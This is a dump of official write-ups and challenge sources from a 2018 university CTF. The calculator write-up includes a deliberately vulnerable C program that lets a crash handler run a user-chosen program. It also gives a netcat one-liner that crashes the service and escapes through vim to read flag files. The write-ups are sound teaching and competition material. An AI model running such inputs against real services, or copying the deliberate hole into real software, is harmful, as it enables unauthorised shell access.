in_memory_file = io.BytesIO() 55 | file.save(in_memory_file) 56 | check(in_memory_file) 57 | return "flag{Go down the rabbit hole of deep learning}" 58 | except: 59 | return 'FAIL (return in 3 sec...)' 60 | return ''' 61 | 62 | Adversarial 63 |

Upload sample.png

64 |

(界面美工师带着正版Adobe全家桶跑路了)

65 |
66 | 67 | 68 |
69 | ''' 70 | 71 | if __name__ == '__main__': 72 | app.secret_key = 'this_is_not_the_real_key_on_the_server' 73 | app.run(threaded=True, host='0.0.0.0', port=5000) 74 | -------------------------------------------------------------------------------- /official/audiophile/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/audiophile/images/.gitkeep -------------------------------------------------------------------------------- /official/audiophile/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/audiophile/src/.gitkeep -------------------------------------------------------------------------------- /official/audiophile/src/audiophile.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/audiophile/src/audiophile.zip -------------------------------------------------------------------------------- /official/back_in_time/README.md: -------------------------------------------------------------------------------- 1 | # 回到过去 2 | 3 | 那些发明Unix操作系统的大叔们怎么编辑文本文件呢? 4 | 5 | 据记载,他们使用一种叫做ed的神奇编辑器,而Unix Hater's Handbook对此有生动的描述: 6 | 7 | Ken Thompson has an automobile which he helped design. Unlike most automobiles, it has neither speedometer, nor gas gauge, nor any of the other numerous idiot lights which plague the modern driver. Rather, if the driver makes a mistake, a giant “?” lights up in the center of the dashboard. “The experienced driver,” says Thompson, “will usually know what’s wrong.” 8 | 9 | 也许是八十年代的某天,调皮的Lawrence正在使用他的DEC VT终端连接到一台大型Unix主机编辑文件——他是个机灵的家伙,使用ed的时候从不需要看屏幕的输出。只看他正在用ed写本题的flag。写了半天,兴高采烈的Lawrence接了个电话,关上ed才发现自己没有保存。 10 | 11 | 聪明的你能根据对他键盘的记录,还原出你要找的flag吗? 12 | 13 | **info ed** 命令对于没有使用过ed的你是十分有用的。 14 | 15 | Hint1:有多个字符串的话,就从上到下连成一行提交就好啦。 16 | 17 | Hint2:flag只接受数字和字母。 18 | 19 | [打开题目](src/input_sequence) 20 | 21 | --- 22 | ## 背景和题目设定 23 | 一道简单题目,考察选手对 Unix 环境基本操作的熟悉程度,和对输入输出重定向等的基本理解。 24 | 灵感来源于 *Unix Hater's Handbook*,这也是小 L 同学第一次知道还有 ed 这个~~鬼畜~~编辑器。事实上,当你把环境变量 `$TERM` 设置为一个 `terminfo` 中没有的终端类型时,比如 25 | 26 | ``` 27 | export TERM=vt233 28 | ``` 29 | 30 | 那么各种~~牛鬼蛇神~~编辑器就都不太能正常工作了——比如新手友好的 `nano`: 31 | ``` 32 | Error opening terminal: vt233. 33 | ``` 34 | 35 | 不过友好的 Vim 会猜测你的终端是 ansi,继而在你的终端模拟器上运行。但如果你的终端模拟器是一个毫不解析控制字符的傻终端呢? 36 | 除了用 `cat` 编辑文件,你还可以用 `ed`。 37 | 38 | `ed` 虽然已经埋入历史的尘埃,但是它还是 [Single Unix Specification](https://en.wikipedia.org/wiki/Single_UNIX_Specification) 的一部分。 39 | 40 | ## 一个典型的解题思路 41 | 第一步,看到题面上的提示:*忘记保存文件 *、*ed 编辑器 *、*info ed*、*给定输入序列* 42 | 第二步,去看看 `info ed`: 43 | 44 | > 首先,*ed * 是一个 Line Editor(行编辑器),这意味着用户进行的编辑操作无法在屏幕上得到所见即所得的反馈。*ed * 在内存中维护一个缓冲区,用户所有的修改都会存在缓冲区中,直到 * w filename * 命令将其写入文件。 45 | 46 | > a 命令用于向缓冲区的末尾加入文本,以单独一行的 *.*(英文句点)作为结束输入的标志。 47 | 48 | > *,p* 命令可以向屏幕输出缓冲区的内容。 49 | > *2* (一个单独的行号)用于选择需要修改的行。 50 | > *s/old/new* 可以替换选择行中的 *old* 为 *new*。 51 | > *2m3* (行号 m 行号)命令可以将第 2 行挪到第 3 行后面。特别的,*2m0* 表示把第二行放在第一行前面。 52 | > *q* 命令用于退出 *ed* 编辑器。 53 | > 值得注意的是 *ed* 独特的报错方式:一个大大的 **?**。特别的,一个缓冲区没有保存的 ed 需要两个 *q* 命令才可以退出,第一个 *q* 命令的结果是一个大大的 **?**。 54 | 55 | 第三步,继续看题目的 `input_sequence`: 56 | 57 | ``` 58 | q 59 | ed 60 | a 61 | flag{ 62 | . 63 | a 64 | 44a2b8 65 | a3d9b2[ESC]c 66 | c44039 67 | f93345 68 | } 69 | . 70 | 2m3 71 | 2m5 72 | 2m1 73 | 2 74 | s/4/t 75 | q 76 | q 77 | ``` 78 | 79 | 前面的 q 和 ed 是上一次 ed 会话的残留,我们应该先删去。 80 | 然后发现他没有保存,所以删去末尾的 q,加上 `w flag.txt`,变成这样: 81 | 82 | ``` 83 | a 84 | flag{ 85 | . 86 | a 87 | 44a2b8 88 | a3d9b2ESCc 89 | c44039 90 | f93345 91 | } 92 | . 93 | 2m3 94 | 2m5 95 | 2m1 96 | 2 97 | s/4/t 98 | w flag.txt 99 | q 100 | ``` 101 | 102 | 并且运行 103 | ``` 104 | ed input_sequence && less flag.txt 105 | ``` 106 | 107 | 得到 `flag.txt` 如下: 108 | ``` 109 | flag{ 110 | t4a2b8 111 | c44039 112 | f93345 113 | a3d9b2ESCc 114 | } 115 | ``` 116 | 117 | 发现一个神秘的 `ESCc`,那是什么?那其实是一个 *转义序列*,用来控制终端的行为。在本例中为清屏。值得注意,`ESC` 并不是三个普通的字母,而是一个不可打印字符,而 `less` 为了向用户显示,所以写成 `ESC`,并且用白底标出。所以,如果你直接运行 118 | ``` 119 | cat flag.txt 120 | ``` 121 | 122 | 你将不能看到完整的 flag。 123 | 所以,本题的 flag 是 `flag{t4a2b8c44039f93345a3d9b2}`。 124 | 125 | 可能最后的 Escape Sequence 有些小坑,但是没有这一道小弯弯不就不 *DEC VT 终端* 了?(大雾 126 | -------------------------------------------------------------------------------- /official/back_in_time/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/back_in_time/images/.gitkeep -------------------------------------------------------------------------------- /official/back_in_time/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/back_in_time/src/.gitkeep -------------------------------------------------------------------------------- /official/back_in_time/src/input_sequence: -------------------------------------------------------------------------------- 1 | q 2 | ed 3 | a 4 | flag{ 5 | . 6 | a 7 | 44a2b8 8 | a3d9b2c 9 | c44039 10 | f93345 11 | } 12 | . 13 | 2m3 14 | 2m5 15 | 2m1 16 | 2 17 | s/4/t 18 | q 19 | q 20 | -------------------------------------------------------------------------------- /official/bank/README.md: -------------------------------------------------------------------------------- 1 | # 猫咪银行 2 | 3 | 这也是猫咪占领世界的计划之一,通过开设猫咪银行出售 flag 来学习人类割韭菜的技巧。 4 | 5 | [打开题目](http://202.38.95.46:12003/) 6 | 7 | --- 8 | 9 | 欢迎来到猫咪系列题目之**猫咪银行**。 10 | 11 | 这道题是一道非常简单的题目,主要是想让同学们了解一些整数溢出的坑。 12 | 13 | **本题的源代码和分析将很快发布,下面只是解题方法。** 14 | 15 | ## 解法 16 | 17 | 简单来说,只需要现兑换 TDSU,购买理财产品,购买时精心构造使得时间溢出为负或者是浮点数,而收益非常大即可。 18 | 19 | 一个 payload 是: 20 | 21 | 22 | 23 | ![image-20181016123310265](images/image-20181016123310265.png) 24 | 25 | 然后时间为负,直接取出即可: 26 | 27 | ![image-20181016123347955](images/image-20181016123347955.png) 28 | 29 | ![image-20181016123406691](images/image-20181016123406691.png) 30 | 31 | 最后换回 CTB,购买 flag,计划通! 32 | 33 | flag: `flag{Evil_Integer._Evil_Overflow.}` 34 | 35 | -------------------------------------------------------------------------------- /official/bank/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/bank/images/.gitkeep -------------------------------------------------------------------------------- /official/bank/images/image-20181016123310265.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/bank/images/image-20181016123310265.png -------------------------------------------------------------------------------- /official/bank/images/image-20181016123347955.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/bank/images/image-20181016123347955.png -------------------------------------------------------------------------------- /official/bank/images/image-20181016123406691.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/bank/images/image-20181016123406691.png -------------------------------------------------------------------------------- /official/bank/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/bank/src/.gitkeep -------------------------------------------------------------------------------- /official/bank/src/bank/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | php: 4 | build: 5 | context: ./services/php 6 | dockerfile: Dockerfile 7 | volumes: 8 | - ./app:/mnt/app 9 | restart: always 10 | web: 11 | image: nginx:1.11.1 12 | ports: 13 | - "12003:80" 14 | depends_on: 15 | - php 16 | volumes_from: 17 | - php 18 | volumes: 19 | - ./images/nginx/config:/etc/nginx/conf.d 20 | restart: always 21 | -------------------------------------------------------------------------------- /official/bank/src/bank/images/nginx/config/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | server_name localhost; 4 | root /mnt/app; 5 | index index.php index.html index.htm; 6 | 7 | location / { 8 | } 9 | 10 | location ~ \.php$ { 11 | fastcgi_pass php:9000; 12 | fastcgi_index index.php; 13 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 14 | include fastcgi_params; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /official/bank/src/bank/services/php/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.6-fpm 2 | MAINTAINER ustchjy 3 | 4 | COPY ./config/php.ini /usr/local/etc/php/conf.d/ 5 | -------------------------------------------------------------------------------- /official/bank/src/bank/services/php/config/php.ini: -------------------------------------------------------------------------------- 1 | memory_limit = 256M 2 | post_max_size = 10M 3 | upload_max_filesize = 10M 4 | -------------------------------------------------------------------------------- /official/calculator/README.md: -------------------------------------------------------------------------------- 1 | # C 语言作业 2 | 3 | 今天 C 语言课程的作业是写一个简单的计算器程序,我在 linux 上面只花了几分钟就写完了,大家可以下载我编译好的程序来使用。如果不想下载的话,我还专门提供了一个网络服务,大家可以在 linux 上面使用 `nc 202.38.95.46 12008` 这条命令来连接。什么?你说你看到我服务器的家目录里有一个 flag 文件?这怎么可能? 4 | 5 | [打开题目](src/calc) 6 | 7 | --- 8 | 9 | 这道题的思路源自我之前玩过的一个 Wargame:Smash the Stack IO Level 2。 10 | 11 | 逆向这个二进制,发现它就是再平常不过的计算器程序了,而且考虑了除以 0 的情况。 12 | 13 | 仔细观察,在程序初始化的时候(main 函数执行之前),程序注册了几个 signal 的处理函数。这个实际上是用 gcc 的 `__attribute__((constructor))` 实现的。 14 | 15 | SIGILL、SIGABRT、SIGFPE、SIGSEGV 几个信号被注册到了 `__err` 函数上面,也就是说发生这几种异常的时候 `__err` 函数会被执行。`__err` 函数会让你输入一个字符串,不能包含 `sh`,然后用 `execlp` 来执行这个字符串代表的程序。值得一提的是,`execlp` 限制了我们只能不带参数地执行程序。 16 | 17 | 根据 signal 的 man page,SIGILL、SIGABRT、SIGSEGV 在本程序中看起来应该不会发生,我们关注一下 SIGFPE: 18 | 19 | > According to POSIX, the behavior of a process is undefined after it ignores a SIGFPE, SIGILL, 20 | > or SIGSEGV signal that was not generated by kill(2) or raise(3). Integer division by zero has 21 | > undefined result. On some architectures it will generate a SIGFPE signal. (Also dividing the 22 | > most negative integer by -1 may generate SIGFPE.) Ignoring this signal might lead to an end‐ 23 | > less loop. 24 | 25 | 惊讶!不仅除以 0 可能会触发 SIGFPE,最小的 INT 除以 -1 也可能会触发!也就是说,写一个整数计算器,只考虑除以 0 的异常是不够的,最小的 INT 除以 -1 也可能会让程序崩掉。 26 | 27 | 所以第一步输入 `-2147483648/-1` 即可。 28 | 29 | 然后,我们需要找到一个程序,不带参数地运行可以帮我们拿到 shell,我能想到的是 vim,当然也可能有其他解法。 30 | 31 | _注:我本想模拟一个新安装的 Ubuntu 环境,但是 Ubuntu 的 docker 镜像里面什么都没有,`ed`、`vi` 等命令也应该安装一下的,我对此表示抱歉。(有人提到 python,emmmm)_ 32 | 33 | 第二步输入 `vim` ,然后进入了一个没有 tty 的 vim,很难受,不过也可以执行命令。我们在 vim 内输入 `!cat flag` 即可读取 flag。 34 | 35 | 然而 flag 告诉我们这个是假的,真的 flag 在一个叫 `-` 的文件里,我们执行 `!cat -` 就可以了。然后什么都没看到! 36 | 37 | 实际上,`cat -` 中的 `-` 表示标准输入,cat 会试图从你的标准输入中读取,并不能看到 `-` 文件的内容。绕过的办法有多种,最简单的就是 `cat ./-`。 38 | 39 | 至于 5 秒的限时嘛……复制粘贴都是来得及的,反正进入 vim 之后就没有了。 40 | 41 | 我们也可以把上面的过程写成一个 shell 脚本: 42 | 43 | ```bash 44 | #!/bin/bash 45 | 46 | echo -e "-2147483648/-1\nvim\n:!ls\n:!cat flag\n:!cat ./-" | nc 202.38.95.46 12008 | grep flag 47 | ``` 48 | -------------------------------------------------------------------------------- /official/calculator/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/calculator/images/.gitkeep -------------------------------------------------------------------------------- /official/calculator/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/calculator/src/.gitkeep -------------------------------------------------------------------------------- /official/calculator/src/calc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/calculator/src/calc -------------------------------------------------------------------------------- /official/calculator/src/calc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void __init (void) __attribute__((constructor)); 8 | 9 | void __err(int a){ 10 | char cmd[11]; 11 | puts("Program crashed! You can run a program to examine:"); 12 | scanf("%10s",cmd); 13 | if(strstr(cmd,"sh")){ 14 | puts("command not allowed!"); 15 | }else{ 16 | execlp(cmd,cmd,NULL); 17 | } 18 | exit(-1); 19 | } 20 | 21 | void __init (){ 22 | signal(SIGILL,__err); 23 | signal(SIGABRT,__err); 24 | signal(SIGFPE,__err); 25 | signal(SIGSEGV,__err); 26 | signal(SIGALRM,exit); 27 | alarm(5); 28 | } 29 | 30 | int main(){ 31 | int a,b,r; 32 | char c; 33 | setvbuf(stdout, NULL, _IONBF, 0); 34 | setvbuf(stdin, NULL, _IONBF, 0); 35 | puts("This is my simple calculator homework"); 36 | puts("Examples: 1+1 2-3 4*5 9/5"); 37 | while(1){ 38 | printf(">>> "); 39 | scanf("%d%c%d",&a,&c,&b); 40 | while(getchar()!='\n'); 41 | switch(c){ 42 | case '+': 43 | r=a+b; 44 | break; 45 | case '-': 46 | r=a-b; 47 | break; 48 | case '*': 49 | r=a*b; 50 | break; 51 | case '/': 52 | if(b==0){ 53 | puts("Division by zero!"); 54 | continue; 55 | } 56 | r=a/b; 57 | break; 58 | default: 59 | puts("Unknown operator!"); 60 | continue; 61 | } 62 | printf("%d%c%d = %d\n",a,c,b,r); 63 | } 64 | return 0; 65 | } 66 | -------------------------------------------------------------------------------- /official/calculator/src/calculator/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd vim 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | RUN cp -R /lib* /home/ctf && \ 12 | cp -R /usr/lib* /home/ctf 13 | 14 | RUN mkdir /home/ctf/dev && \ 15 | mknod /home/ctf/dev/null c 1 3 && \ 16 | mknod /home/ctf/dev/zero c 1 5 && \ 17 | mknod /home/ctf/dev/random c 1 8 && \ 18 | mknod /home/ctf/dev/urandom c 1 9 && \ 19 | chmod 666 /home/ctf/dev/* 20 | 21 | RUN mkdir /home/ctf/bin && \ 22 | cp /bin/sh /home/ctf/bin && \ 23 | cp /bin/ls /home/ctf/bin && \ 24 | cp /bin/cat /home/ctf/bin && \ 25 | cp /usr/bin/vim /home/ctf/bin 26 | 27 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 28 | COPY ./start.sh /start.sh 29 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 30 | 31 | RUN chmod +x /start.sh 32 | 33 | COPY ./bin/ /home/ctf/ 34 | RUN chown -R root:ctf /home/ctf && \ 35 | chmod -R 750 /home/ctf && \ 36 | chmod 740 /home/ctf/flag && \ 37 | chmod 740 /home/ctf/- 38 | 39 | CMD ["/start.sh"] 40 | 41 | EXPOSE 9999 42 | -------------------------------------------------------------------------------- /official/calculator/src/calculator/bin/-: -------------------------------------------------------------------------------- 1 | flag{816484e67b21efd5de8f1661d180a007} 2 | -------------------------------------------------------------------------------- /official/calculator/src/calculator/bin/calc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/calculator/src/calculator/bin/calc -------------------------------------------------------------------------------- /official/calculator/src/calculator/bin/flag: -------------------------------------------------------------------------------- 1 | The real flag is in the file "-" 2 | -------------------------------------------------------------------------------- /official/calculator/src/calculator/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = --userspec=1000:1000 /home/ctf ./calc 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- /official/calculator/src/calculator/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | calc: 4 | build: . 5 | ports: 6 | - "12008:9999" 7 | restart: always 8 | -------------------------------------------------------------------------------- /official/calculator/src/calculator/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /etc/init.d/xinetd start; 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /official/card/README.md: -------------------------------------------------------------------------------- 1 | # 游园会的集章卡片 2 | 3 |

提示:flag 仅由 0154agflPYHMGRCNE_{} 这些字符组成。

4 | 5 | 我们经常被问一个问题:你们是从什么时候开始为 Hackergame 出题的? 6 | 7 | 其实我们全年都在出题,命题组成员来自各种各样的专业,在各种各样的地方,有各种各样不同的工作,闲暇之余~~(或者工作不饱和的时候,这个最好删掉)~~我们最大的乐趣就是互相出题给对方玩。 8 | 9 | 为了找到有趣的题目,我们需要源源不断的灵感,不管是在巴蜀人家二楼包厢 LUD([注 1](https://lug.ustc.edu.cn/wiki/lug/events/start?s%5B%5D=lud)) 时,还是在北京食宝街的分米鸡,甚至是在武汉开往合肥的 D2256 列车上,我们会把讨论到的有趣的想法记录下来,作为下一次 Hackergame 的题目。 10 | 11 | 比如前几天,中国科学技术大学学生 Linux 用户协会在中区游园会摆摊招新([注 2](https://lug.ustc.edu.cn/wiki/lug/contribute)),发现学校居然为每个参加游园会的同学准备了一张精美的集章卡片: 12 | 13 | 14 | 15 | 到每个社团的摊位上收集盖章,到达一定数量就有礼品赠送。 16 | 17 | 突然一位同学灵机一动,不如写上 flag 然后撕碎! 18 | 19 | 附件就是撕碎的 flag,相信对中国科学技术大学校徽了如指掌的你很快就能将它还原。 20 | 21 | [打开题目](src/fragments.zip) 22 | 23 | --- 24 | 25 | ### 致歉:由于使用的字体不好,很多同学反映 flag 上的字母与数字难以辨认,在这里为给大家带来的不便表示歉意! 26 | 27 | ## 解答 28 | 29 | ### 解法1: 使用 photoshop、powerpoint 等软件将各块碎片拼起来即可见到 flag: ![badge](images/badge.png) 30 | 31 | ### 解法2: 将碎片打印出来拼接到一起读出 flag 32 | 33 | flag{H4PPY_1M4GE_PR0CE551NG} 34 | -------------------------------------------------------------------------------- /official/card/assets/card.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/card/assets/card.png -------------------------------------------------------------------------------- /official/card/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/card/images/.gitkeep -------------------------------------------------------------------------------- /official/card/images/badge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/card/images/badge.png -------------------------------------------------------------------------------- /official/card/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/card/src/.gitkeep -------------------------------------------------------------------------------- /official/card/src/fragments.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/card/src/fragments.zip -------------------------------------------------------------------------------- /official/catremote/README.md: -------------------------------------------------------------------------------- 1 | # 猫咪遥控器 2 | 3 |

提示:flag 格式为 flag{......},只包含字母,其中有且只有两个为大写字母。

4 | 5 | 今天的 App Store 首页故事是《猫咪占领世界》([详情](https://itunes.apple.com/cn/story/id1435731237))。 6 | 7 | SERIOUSLY? 8 | 9 | D 同学不禁开始幻想被猫咪占领的世界:集中营里成群的铲屎官,密密麻麻的 Nepeta cataria([Wikipedia](https://en.wikipedia.org/wiki/Catnip))农田,随意摆放的纸箱子占满了道路…… 10 | 11 | 想想就可怕,不过 D 同学知道人类还有终极秘密武器可以用——猫咪遥控器,有了猫咪遥控器,再多的猫咪也只会乖乖地听人类的话,哈哈哈哈哈~ 12 | 13 | 下面是制作猫咪遥控器的技术总结,需要的原料有: 14 | 15 | - 5mW 6mm 点状激光二极管一个; 16 | - 锂电池一个; 17 | - 导线若干; 18 | 19 | 然后用导线将锂电池和激光二极管连接起来(这一步的目的是让二极管亮起来,不想二极管亮起来的同学可以不连),一个美味的猫咪遥控器就做好了。 20 | 21 | 猫咪遥控器的原理非常简单!撸猫学会曾经有论文给出过结论:[激光笔指向哪里,猫咪就会跑到哪里](https://ftp.ustclug.org/misc/cat_remote.mov)。 22 | 23 | 为了报复猫咪把自己的代码打乱(见:猫咪与键盘),D 同学把猫咪遥控器绑在可以上(UP)下(DOWN)左(LEFT)右(RIGHT)移动的三轴机械臂上,开始使用树莓派(一款基于 Linux 的单片机计算机)控制三轴机械臂,进而控制猫咪在草地上跑来跑去。 24 | 25 | 附件是树莓派上留下的调试输出信息,我们赶到现场时只剩下这个了。 26 | 27 | [打开题目](src/seq.txt) 28 | 29 | --- 30 | 31 | 欢迎来到猫咪系列题目之**猫咪遥控器**。 32 | 33 | 这道题是一道非常简单的题目,主要是想让同学们学会一些程序画图的技巧。 34 | 35 | 根据题目提示,我们需要将控制序列画出来,并且我们根据常识和题目提示,能知道: 36 | 37 | UDLR 分别代表:上(UP)下(DOWN)左(LEFT)右(RIGHT)。 38 | 39 | ## 解法一:传统而可靠的办法 40 | 41 | 找一张纸(需要比较大的),花一下午即可。 42 | 43 | ## 解法二:使用 JS Canvas 44 | 45 | 我觉得这是最简单的一个办法,编程和解题都借助常见的浏览器(比如 Chrome)即可完成,我的解题代码如下: 46 | 47 | ```html 48 | 49 | 50 | 51 | 52 | Cat Controller 53 | 58 | 59 | 60 | 61 | 80 | 81 | ``` 82 | 83 | 把上面的代码保存为 remote.html,用浏览器打开即可得到路径: 84 | 85 | ![image-20181016114941390](images/image-20181016114941390.png) 86 | 87 | 88 | 89 | flag: `flag{MeowMeow}` 90 | -------------------------------------------------------------------------------- /official/catremote/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/catremote/images/.gitkeep -------------------------------------------------------------------------------- /official/catremote/images/image-20181016114941390.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/catremote/images/image-20181016114941390.png -------------------------------------------------------------------------------- /official/catremote/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/catremote/src/.gitkeep -------------------------------------------------------------------------------- /official/catremote/src/seq.txt: -------------------------------------------------------------------------------- 1 | DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLLLLLLLLLLLLLLLLLLLLLRRRRDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUULLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLLLUUUUUUUUUUUUUUUURRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUURRRRRRRRRRRRRRRRRRRRRRRRLLLLDDDDDDDDDDDDLLLLLLLLLLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRRRRRRRRRRRRRRLLLLUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUURRRRRRRRLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDLLLLLLLLDDDDRRRRRRRRDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRLLLLLLLLUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLUUUURRRRRRRRUUUURRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUURRRRRRRRUUUUUUUURRRRDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUURRRRRRRRRRRRUUUURRRRUUUURRRRRRRRRRRRRRRRDDDDRRRRDDDDRRRRDDDDDDDDLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLUUUURRRRUUUUDDDDLLLLDDDDDDDDRRRRDDDDRRRRDDDDRRRRRRRRRRRRUUUURRRRRRRRUUUUDDDDLLLLLLLLDDDDLLLLLLLLLLLLUUUULLLLUUUULLLLUUUUUUUURRRRUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUUUUUUUUUULLLLLLLLLLLLLLLLLLLLLLLLLLLLDDDDDDDDDDDDDDDDDDDDDDDDRRRRRRRRRRRRRRRRRRRRRRRRRRRRUUUUUUUUUUUUUUUURRRRRRRRUUUULLLLUUUUDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDDDDDRRRRUUUUUUUUUUUURRRRUUUUUUUUDDDDDDDDRRRRDDDDDDDDDDDDRRRRUUUUUUUUUUUUUUUUUUUURRRRUUUURRRRUUUUDDDDLLLLDDDDRRRRRRRRRRRRUUUUUUUUUUUUUUUUDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUURRRRDDDDRRRRDDDDRRRRDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUURRRRUUUURRRRUUUURRRRDDDDDDDDDDDDDDDDDDDDDD